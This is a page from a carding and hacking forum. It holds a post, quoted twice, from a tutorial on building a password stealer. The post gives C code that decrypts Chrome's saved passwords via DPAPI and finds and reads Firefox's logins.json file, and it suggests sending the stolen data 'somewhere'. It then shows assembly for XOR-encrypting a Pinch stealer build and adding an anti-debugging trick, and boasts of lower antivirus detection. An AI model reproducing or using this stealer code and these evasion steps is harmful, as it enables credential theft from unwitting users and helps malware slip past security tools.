Home
Forums
New posts
Search forums
What's new
New posts
New profile posts
Latest activity
Members
Current visitors
New profile posts
Search profile posts
Log in
Register
What's new
Search
Search
Search titles only
By:
New posts
Search forums
Menu
Log in
Register
Install the app
Install
JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding.
You are using an out of date browser. It may not display this or other websites correctly.
You should upgrade or use an
alternative browser
.
Reply to thread
Home
Forums
CARDING & HACKING
HOSTING & BOTNET
What is a stealer and how to work with it
Message
<blockquote data-quote="Ghosthunter" data-source="post: 549" data-attributes="member: 6"><p>And now we will proceed directly to decryption. The Chrome database is encrypted by the Data Protection Application Programming Interface (DPAPI) mechanism. The essence of this mechanism is that data can only be decrypted under the account under which it was encrypted. In other words, you can't steal a password database and then decrypt it on your computer. To decrypt the data, we need the CryptUnprotectData function.</p><p></p><p>Code:</p><p>DPAPI_IMP BOOL CryptUnprotectData(</p><p></p><p> DATA_BLOB *pDataIn,</p><p></p><p> LPWSTR *ppszDataDescr,</p><p></p><p> DATA_BLOB *pOptionalEntropy,</p><p></p><p> PVOID pvReserved,</p><p></p><p> CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct,</p><p></p><p> DWORD dwFlags,</p><p></p><p> DATA_BLOB *pDataOut</p><p></p><p>);</p><p></p><p>if (!CryptUnprotectData(&data_encrypt, NULL, NULL, NULL, NULL, 0, &data_decrypt)) {</p><p></p><p> free(dt_blob);</p><p></p><p> sqlite3_blob_close(sql_blob);</p><p></p><p> sqlite3_close(in_db);</p><p></p><p>}</p><p></p><p>After that, we allocate memory and fill the passwds array with decrypted data.</p><p></p><p>Code:</p><p>passwds = ( char *)malloc(data_decrypt.cbData + 1);</p><p></p><p>memset(passwds, 0, data_decrypt.cbData);</p><p></p><p>int xi = 0;</p><p></p><p>while (xi < data_decrypt.cbData) {</p><p></p><p> passwds[xi] = (char)data_decrypt.pbData[xi];</p><p></p><p> ++xi;</p><p></p><p>}</p><p></p><p>Actually, that's all! After that, passwds will contain user accounts and URLs. And what to do with this information-display it on the screen or save it to a file and send it somewhere-is up to you.</p><p></p><p><strong>6. How do I write my own Firefox-based stealer?</strong></p><p></p><p>Go to Firefox. It's going to be a little more difficult, but we can still do it! First, let's get the path to the password database. Remember when we passed the browser_family parameter in our get_browser_path universal function? In the case of Chrome, it was set to zero, but for Firefox, we set it to 1.</p><p></p><p>Code:</p><p>bool get_browser_path(char * db_loc, int browser_family, const char * location) {</p><p></p><p> ...</p><p></p><p> if (browser_family == 1) {</p><p></p><p> memset(db_loc, 0, MAX_PATH);</p><p></p><p> if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {</p><p></p><p> // return 0;</p><p></p><p> }</p><p></p><p>In the case of Firefox, we will not be able to specify the path to the user's folder immediately, as in Chrome. The fact is that the name of the user profile folder is generated randomly. But this is a nonsense barrier, because we know the beginning of the path (\\Mozilla\ \ Firefox\\Profiles\\). Just search for the "folder" object in it and check for the \ \ logins file.json«. It is in this file that the data of usernames and passwords that we are interested in is stored. Encrypted, of course. We implement all this in code.</p><p></p><p>Code:</p><p>lstrcat(db_loc, TEXT(location));</p><p></p><p>// Declaring variables</p><p></p><p>const char * profileName = "";</p><p></p><p>WIN32_FIND_DATA w_find_data;</p><p></p><p>const char * db_path = db_loc;</p><p></p><p>// Creating a search mask with the FindFirstFile function</p><p></p><p>lstrcat((LPSTR)db_path, TEXT("*"));</p><p></p><p>// Viewing, we are interested in an object with the FILE_ATTRIBUTE_DIRECTORY attribute</p><p></p><p>HANDLE gotcha = FindFirstFile(db_path, &w_find_data);</p><p></p><p>while (FindNextFile(gotcha, &w_find_data) != 0){</p><p></p><p> if (w_find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {</p><p></p><p> if (strlen(w_find_data.cFileName) > 2) {</p><p></p><p> profileName = w_find_data.cFileName;</p><p></p><p> }</p><p></p><p> }</p><p></p><p>}</p><p></p><p>// Remove the asterisk <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="smilie smilie--sprite smilie--sprite1" alt=":)" title="Smile :)" loading="lazy" data-shortname=":)" /></p><p></p><p>db_loc[strlen(db_loc) - 1] = '\0';</p><p></p><p>lstrcat(db_loc, profileName);</p><p></p><p>// Finally, we get the path we need</p><p></p><p>lstrcat(db_loc, "\\logins.json");</p><p></p><p>return 1;</p><p></p><p></p><p>At the very end, the db_loc variable that we passed as an argument to our function contains the full path to the logins. json file, and the function returns 1, signaling that it worked correctly.</p><p></p><p>Now we get the handle of the password file and allocate memory for the data. To get a handle, use the CreateFile function, as recommended by MSDN.</p><p></p><p>Code:</p><p>DWORD read_bytes = 8192;</p><p></p><p>DWORD lp_read_bytes;</p><p></p><p>char *buffer = (char *)malloc(read_bytes);</p><p></p><p>HANDLE db_file_login = CreateFileA(original_db_location,</p><p></p><p> GENERIC_READ,</p><p></p><p> FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,</p><p></p><p> NULL, OPEN_ALWAYS,</p><p></p><p> FILE_ATTRIBUTE_NORMAL,</p><p></p><p> NULL);</p><p></p><p>ReadFile(db_file_login, buffer, read_bytes, &lp_read_bytes, NULL);</p><p></p><p>Everything is ready, but in the case of Firefox, everything will not be as simple as with Chrome — we will not be able to simply get the necessary data with a regular SELECT request, and encryption is not limited to a single WinAPI function.</p><p></p><p><strong>7. The final. How do I script a build?</strong></p><p></p><p>First, let's turn to the trivial and long-known methods of hiding the code – section encryption by constant. In my articles, I have already referred to this code more than once. Surprisingly, a simple XOR of machine codes located in the code section allows you to get rid of the attention of as many as a quarter of antivirus programs! So, open the generated pinch file (pinch.exe) in the debugger. The default entry point is 13147810. At address 13147C26, the field of solid zeros left by the compiler for section alignment begins. This is good for us – we will post our code here. So, take a look at the cryptor view:</p><p></p><p>Code:</p><p>13147C30 PUSHAD</p><p></p><p>13147C31 MOV ECX,6C2F</p><p></p><p>13147C36 MOV EDX,DWORD PTR DS:[ECX+13141000]</p><p></p><p>13147C3C XOR EDX,76</p><p></p><p>13147C3F MOV DWORD PTR DS:[ECX+13141000],EDX</p><p></p><p>13147C45 LOOPD SHORT pinch_pa.13147C36</p><p></p><p>13147C47 POPAD</p><p></p><p>13147C48 JMP SHORT pinch_pa.13147810</p><p></p><p>We make changes to the program file (right-click menu, "copy to executable-all modifications", in the window that appears, select "Save file" from the right-click menu). After the changes are made, we go to LordPE, change the program entry point to a new one (the new OEP value is 13147C30, this is where our code settled) and save the program. But that's not all; we open the program again in OllyDbg, execute the code we entered (to do this, you can set a breakpoint at 13147C48 and execute the program by pressing Shift+F9). So our instruction set encrypts 6C2F bytes. Now you need to save the program again. Ready! We got a fully functional encrypted pinch. Go to virustotal.com, upload the file and wait for the analysis results. Surprisingly, only 31 out of 43 antivirus programs recognized malicious code (almost all "swear" at an unencrypted pinch – 42 out of 43)! Moving on.</p><p></p><p>Let's continue our experiment. Let's try to use the mechanism for creating your own exception handler to perform one of the tricks I described in the log pages earlier. Since the method is "chewed up", we only adapt the code for our case, its functionality is fully revealed in the comments (if something still remains unclear, I send you to the section "Anti-debugging techniques" for October 2009).</p><p></p><p>Code:</p><p>13147C4B XOR EAX, EAX; zeroing the register</p><p></p><p>13147C4D PUSH pinch_pa. 13147C62; push the address of the new handler to the stack</p><p></p><p>13147C52 PUSH DWORD PTR FS:[EAX]; push the address of the old handler to the stack</p><p></p><p>13147C55 MOV DWORD PTR FS:[EAX], ESP; putting a pointer to the structure in FS: [0]</p><p></p><p>13147C58 CALL pinch_pa. 13147C58; generating an exception by stack overflow</p><p></p><p>13147C5D JMP pinch_pa. 13145555; this instruction will never be executed</p><p></p><p>13147C62 POP EAX; register recovery</p><p></p><p>13147C63 POP EAX</p><p></p><p>13147C64 POP ESP</p><p></p><p>13147C65 JMP pinch_pa. 13147810; jump to program execution</p></blockquote><p></p>
[QUOTE="Ghosthunter, post: 549, member: 6"] And now we will proceed directly to decryption. The Chrome database is encrypted by the Data Protection Application Programming Interface (DPAPI) mechanism. The essence of this mechanism is that data can only be decrypted under the account under which it was encrypted. In other words, you can't steal a password database and then decrypt it on your computer. To decrypt the data, we need the CryptUnprotectData function. Code: DPAPI_IMP BOOL CryptUnprotectData( DATA_BLOB *pDataIn, LPWSTR *ppszDataDescr, DATA_BLOB *pOptionalEntropy, PVOID pvReserved, CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct, DWORD dwFlags, DATA_BLOB *pDataOut ); if (!CryptUnprotectData(&data_encrypt, NULL, NULL, NULL, NULL, 0, &data_decrypt)) { free(dt_blob); sqlite3_blob_close(sql_blob); sqlite3_close(in_db); } After that, we allocate memory and fill the passwds array with decrypted data. Code: passwds = ( char *)malloc(data_decrypt.cbData + 1); memset(passwds, 0, data_decrypt.cbData); int xi = 0; while (xi < data_decrypt.cbData) { passwds[xi] = (char)data_decrypt.pbData[xi]; ++xi; } Actually, that's all! After that, passwds will contain user accounts and URLs. And what to do with this information-display it on the screen or save it to a file and send it somewhere-is up to you. [B]6. How do I write my own Firefox-based stealer?[/B] Go to Firefox. It's going to be a little more difficult, but we can still do it! First, let's get the path to the password database. Remember when we passed the browser_family parameter in our get_browser_path universal function? In the case of Chrome, it was set to zero, but for Firefox, we set it to 1. Code: bool get_browser_path(char * db_loc, int browser_family, const char * location) { ... if (browser_family == 1) { memset(db_loc, 0, MAX_PATH); if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) { // return 0; } In the case of Firefox, we will not be able to specify the path to the user's folder immediately, as in Chrome. The fact is that the name of the user profile folder is generated randomly. But this is a nonsense barrier, because we know the beginning of the path (\\Mozilla\ \ Firefox\\Profiles\\). Just search for the "folder" object in it and check for the \ \ logins file.json«. It is in this file that the data of usernames and passwords that we are interested in is stored. Encrypted, of course. We implement all this in code. Code: lstrcat(db_loc, TEXT(location)); // Declaring variables const char * profileName = ""; WIN32_FIND_DATA w_find_data; const char * db_path = db_loc; // Creating a search mask with the FindFirstFile function lstrcat((LPSTR)db_path, TEXT("*")); // Viewing, we are interested in an object with the FILE_ATTRIBUTE_DIRECTORY attribute HANDLE gotcha = FindFirstFile(db_path, &w_find_data); while (FindNextFile(gotcha, &w_find_data) != 0){ if (w_find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { if (strlen(w_find_data.cFileName) > 2) { profileName = w_find_data.cFileName; } } } // Remove the asterisk :) db_loc[strlen(db_loc) - 1] = '\0'; lstrcat(db_loc, profileName); // Finally, we get the path we need lstrcat(db_loc, "\\logins.json"); return 1; At the very end, the db_loc variable that we passed as an argument to our function contains the full path to the logins. json file, and the function returns 1, signaling that it worked correctly. Now we get the handle of the password file and allocate memory for the data. To get a handle, use the CreateFile function, as recommended by MSDN. Code: DWORD read_bytes = 8192; DWORD lp_read_bytes; char *buffer = (char *)malloc(read_bytes); HANDLE db_file_login = CreateFileA(original_db_location, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); ReadFile(db_file_login, buffer, read_bytes, &lp_read_bytes, NULL); Everything is ready, but in the case of Firefox, everything will not be as simple as with Chrome — we will not be able to simply get the necessary data with a regular SELECT request, and encryption is not limited to a single WinAPI function. [B]7. The final. How do I script a build?[/B] First, let's turn to the trivial and long-known methods of hiding the code – section encryption by constant. In my articles, I have already referred to this code more than once. Surprisingly, a simple XOR of machine codes located in the code section allows you to get rid of the attention of as many as a quarter of antivirus programs! So, open the generated pinch file (pinch.exe) in the debugger. The default entry point is 13147810. At address 13147C26, the field of solid zeros left by the compiler for section alignment begins. This is good for us – we will post our code here. So, take a look at the cryptor view: Code: 13147C30 PUSHAD 13147C31 MOV ECX,6C2F 13147C36 MOV EDX,DWORD PTR DS:[ECX+13141000] 13147C3C XOR EDX,76 13147C3F MOV DWORD PTR DS:[ECX+13141000],EDX 13147C45 LOOPD SHORT pinch_pa.13147C36 13147C47 POPAD 13147C48 JMP SHORT pinch_pa.13147810 We make changes to the program file (right-click menu, "copy to executable-all modifications", in the window that appears, select "Save file" from the right-click menu). After the changes are made, we go to LordPE, change the program entry point to a new one (the new OEP value is 13147C30, this is where our code settled) and save the program. But that's not all; we open the program again in OllyDbg, execute the code we entered (to do this, you can set a breakpoint at 13147C48 and execute the program by pressing Shift+F9). So our instruction set encrypts 6C2F bytes. Now you need to save the program again. Ready! We got a fully functional encrypted pinch. Go to virustotal.com, upload the file and wait for the analysis results. Surprisingly, only 31 out of 43 antivirus programs recognized malicious code (almost all "swear" at an unencrypted pinch – 42 out of 43)! Moving on. Let's continue our experiment. Let's try to use the mechanism for creating your own exception handler to perform one of the tricks I described in the log pages earlier. Since the method is "chewed up", we only adapt the code for our case, its functionality is fully revealed in the comments (if something still remains unclear, I send you to the section "Anti-debugging techniques" for October 2009). Code: 13147C4B XOR EAX, EAX; zeroing the register 13147C4D PUSH pinch_pa. 13147C62; push the address of the new handler to the stack 13147C52 PUSH DWORD PTR FS:[EAX]; push the address of the old handler to the stack 13147C55 MOV DWORD PTR FS:[EAX], ESP; putting a pointer to the structure in FS: [0] 13147C58 CALL pinch_pa. 13147C58; generating an exception by stack overflow 13147C5D JMP pinch_pa. 13145555; this instruction will never be executed 13147C62 POP EAX; register recovery 13147C63 POP EAX 13147C64 POP ESP 13147C65 JMP pinch_pa. 13147810; jump to program execution [/QUOTE]
Name
Verification
Post reply
Home
Forums
CARDING & HACKING
HOSTING & BOTNET
What is a stealer and how to work with it
Top